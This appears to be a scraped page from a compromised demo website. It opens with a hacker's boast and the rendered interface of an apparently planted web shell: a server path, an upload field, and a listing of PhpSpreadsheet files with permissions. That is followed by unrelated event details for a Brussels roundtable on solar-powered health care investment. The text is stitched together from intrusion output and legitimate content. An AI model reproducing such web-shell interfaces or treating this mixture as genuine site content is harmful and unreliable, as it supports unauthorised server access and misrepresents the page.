I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
Calculation-June 14 2023 23:18:300777
Cell-June 14 2023 23:18:300777
CellReferenceHelper.php4358 KBJune 14 2023 23:18:300666
Chart-June 14 2023 23:18:300777
Collection-June 14 2023 23:18:300777
Comment.php7531 KBJune 14 2023 23:18:300666
DefinedName.php6567 KBJune 14 2023 23:18:300666
Document-June 14 2023 23:18:300777
Exception.php83 KBJune 14 2023 23:18:300666
HashTable.php3846 KBJune 14 2023 23:18:300666
Helper-June 14 2023 23:18:300777
IComparable.php182 KBJune 14 2023 23:18:300666
IOFactory.php9020 KBJune 14 2023 23:18:300666
NamedFormula.php973 KBJune 14 2023 23:18:300666
NamedRange.php1250 KBJune 14 2023 23:18:300666
Reader-June 14 2023 23:18:300777
ReferenceHelper.php55334 KBJune 14 2023 23:18:300666
RichText-June 14 2023 23:18:300777
Settings.php6145 KBJune 14 2023 23:18:300666
Shared-June 14 2023 23:18:300777
Spreadsheet.php46390 KBJune 14 2023 23:18:300666
Style-June 14 2023 23:18:300777
Theme.php7171 KBJune 14 2023 23:18:300666
Worksheet-June 14 2023 23:18:300777
Writer-June 14 2023 23:18:300777
VORNE.AI - Event Details
Building Investment Models for Solarising Health
30 May
2024
CHIEF

Building Investment Models for Solarising Health

Lack of reliable electricity is a major impediment to scaling access to healthcare. Solar solutions are already demonstrating great potential to transform last mile health care and pandemic preparedness. This roundtable brings select ministers and investors from the multilaterals and private sector to explore investment models for scaling access to electricity for healthcare.

Thursday 30 May | 18H00-19H30 | Intercontinental Hotel, Bruxelles

Tags: